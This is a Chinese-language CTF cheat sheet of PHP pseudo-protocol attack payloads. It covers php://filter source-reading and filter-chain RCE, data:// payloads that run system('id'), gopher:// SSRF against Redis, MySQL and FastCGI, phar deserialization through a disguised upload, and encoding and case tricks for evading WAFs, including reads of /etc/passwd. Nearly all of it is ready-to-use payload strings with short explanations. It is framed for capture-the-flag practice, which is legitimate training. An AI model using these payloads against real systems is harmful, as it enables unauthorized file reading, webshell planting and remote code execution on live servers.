CTF 伪协议

一、常见伪协议

二、php://filter 变种（重点）

基础读取

php://filter/read=convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php

多重过滤器链（绕过WAF/过滤）

php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php

写文件（配合文件包含）

php://filter/write=convert.base64-decode/resource=shell.php

filter链 RCE（无需写文件，PHP < 8.x）

利用 iconv 等 filter 链构造任意字符串，实现 RCE：

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|.../resource=/dev/null

三、data:// 变种

data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+

四、gopher:// 变种（SSRF）

攻击内网服务，格式：gopher://host:port/_

常见攻击目标

• Redis：写 WebShell、计划任务、SSH key
• MySQL：未授权访问执行SQL
• FastCGI：RCE（攻击 9000 端口）
• HTTP内网：访问内网 API

编码要点

• 数据需 URL 编码一次（发出时）
• 经过二次跳转需编码两次（双重URL编码）
• rn 编码为 %0d%0a

五、phar:// 反序列化

0. 构造含恶意序列化数据的 phar 文件
1. 将其伪装成合法格式（如图片，修改头部）
2. 通过文件操作函数触发：file_exists() / is_file() / fopen() 等
3. 配合上传点使用

// 触发点示例
file_exists("phar:///upload/shell.gif");

六、编码绕过技巧

Base64

php://filter/read=convert.base64-encode/resource=flag.php

URL 编码

data:%2f%2ftext/plain,...?>

二次/多次编码（针对WAF）

gopher://127.0.0.1:80/_%2547%2545%2554   # 双重URL编码 GET

大小写混淆

DATA://text/plain,<?php...?>
Php://filter/...
FILE:///etc/passwd

协议拼接绕过

php://filter/resource=php://filter/read=convert.base64-encode/resource=flag.php

七、常见利用场景对应

八、速查 Tricks

• allow_url_include=On → 才能用 php://input、data://
• allow_url_fopen=On → 才能用远程 http://、ftp://
• file:// 本地文件无需任何配置
• phar 触发不依赖 include，只要有文件操作函数即可
• gopher 的 _ 后第一个字符会被吞掉，需补一个占位字符